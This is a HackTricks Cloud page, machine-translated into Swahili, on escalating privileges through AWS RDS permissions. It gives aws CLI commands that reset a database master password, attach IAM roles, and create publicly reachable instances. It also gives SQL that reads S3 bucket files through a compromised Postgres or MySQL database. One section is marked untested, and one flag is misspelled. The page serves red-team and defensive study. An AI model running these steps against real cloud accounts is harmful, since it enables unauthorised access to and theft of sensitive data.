AWS - RDS Privesc
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
RDS - Relational Database Service
Kwa taarifa zaidi kuhusu RDS angalia:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Kwa ruhusa hiyo mshambuliaji anaweza kubadilisha nenosiri la mtumiaji mkuu, na taarifa za kuingia ndani ya hifadhidata:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
Utahitaji kuwa na uwezo wa kuwasiliana na database (kwa kawaida zinaweza kufikika tu kutoka ndani ya mitandao).
Madhara Yanayowezekana: Kupata taarifa nyeti ndani ya database.
rds-db:connect
Kulingana na docs mtumiaji mwenye idhini hii anaweza kuungana na DB instance.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
tip
Ikiwa unapoendesha SELECT datname FROM pg_database; ukapata database iitwayo rdsadmin unajua uko ndani ya AWS postgresql database.
Kwanza unaweza kuangalia ikiwa database hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kuangalia hili kwa kuangalia extensions zilizowekwa:
SELECT * FROM pg_extension;
Ikiwa utakuta kitu kama aws_s3 unaweza kudhani kuwa hifadhidata hii ina aina fulani ya ufikiaji kwa S3 (kuna viendelezi vingine kama aws_ml na aws_lambda).
Pia, ikiwa una ruhusa za kuendesha aws rds describe-db-clusters unaweza kuona huko kama klasta imeambishwa IAM Role yoyote katika uwanja AssociatedRoles. Ikiwa ipo, unaweza kudhani kuwa hifadhidata ilitayarishwa kufikia huduma nyingine za AWS. Kulingana na jina la role (au ikiwa unaweza kupata idhini za role) unaweza kudhani ni upatikanaji gani wa ziada hifadhidata ina.
Sasa, ili kusoma faili ndani ya bucket unahitaji kujua njia kamili. Unaweza kuisoma kwa:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Ikiwa ungekuwa na raw AWS credentials, ungeweza pia kuzitumia kufikia data za S3 kwa:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql haihitaji kubadilisha parameter group variable yoyote ili kuwa na uwezo wa kufikia S3.
Mysql (Aurora)
tip
Ndani ya mysql, ikiwa unafanya query SELECT User, Host FROM mysql.user; na kuna mtumiaji anayeitwa rdsadmin, unaweza kudhani uko ndani ya AWS RDS mysql db.
Ndani ya mysql endesha show variables; na ikiwa vigezo kama aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role vina thamani, unaweza kudhani hifadhidata imeandaliwa kufikia data ya S3.
Pia, ikiwa una ruhusa za kuendesha aws rds describe-db-clusters unaweza kuangalia kama cluster ina role yoyote iliyohusishwa, ambayo kwa kawaida inamaanisha ufikiaji wa AWS services).
Sasa, ili kusoma faili ndani ya bucket unahitaji kujua njia kamili. Unaweza kuisoma kwa:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Mshambulizi mwenye ruhusa rds:AddRoleToDBCluster na iam:PassRole anaweza kuongeza role iliyobainishwa kwenye RDS instance iliyopo. Hii inaweza kumruhusu mshambulizi kupata data nyeti au kubadilisha data ndani ya instance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Athari Inayoweza Kutokea: Upatikanaji wa data nyeti au mabadiliko yasiyoruhusiwa kwenye data ya instance ya RDS.
Kumbuka kuwa baadhi ya DBs zinahitaji mipangilio ya ziada, kama Mysql, ambayo inahitaji kutaja role ARN pia katika aprameter groups.
rds:CreateDBInstance
Kwa ruhusa hii tu mshambuliaji anaweza kuunda instance mpya ndani ya cluster ambayo tayari ipo na ina IAM role imeambatishwa. Haatakuwa na uwezo wa kubadilisha nywila ya mtumiaji mkuu, lakini anaweza kuifanya instance mpya ya database ipatikane kwa intaneti:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
note
TODO: Test
Mshambuliaji mwenye ruhusa za rds:CreateDBInstance na iam:PassRole anaweza kuunda instance mpya ya RDS yenye role maalum imeambatishwa. Mshambuliaji huyo anaweza kisha kwa uwezekano kupata data nyeti au kubadilisha data ndani ya instance hiyo.
warning
Baadhi ya mahitaji ya role/instance-profile ya kuambatisha (kutoka here):
- Profile lazima iwepo katika account yako.
- Profile lazima iwe na IAM role ambayo Amazon EC2 ina ruhusa ya kuitegemea (assume).
- Jina la instance profile na jina la IAM role linalohusiana lazima lianze na kiambishi awali
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Athari zinazowezekana: Upatikanaji wa data nyeti au mabadiliko yasiyoidhinishwa kwa data katika RDS instance.
rds:AddRoleToDBInstance, iam:PassRole
Mshambuliaji aliye na ruhusa rds:AddRoleToDBInstance na iam:PassRole anaweza kuongeza role iliyotajwa kwa RDS instance iliyopo. Hii inaweza kumruhusu mshambuliaji kupata data nyeti au kubadilisha data ndani ya instance.
warning
DB instance lazima iwe nje ya cluster kwa hili
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Athari Inayoweza Kutokea: Upatikanaji wa data nyeti au mabadiliko yasiyoidhinishwa kwa data katika instance ya RDS.
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud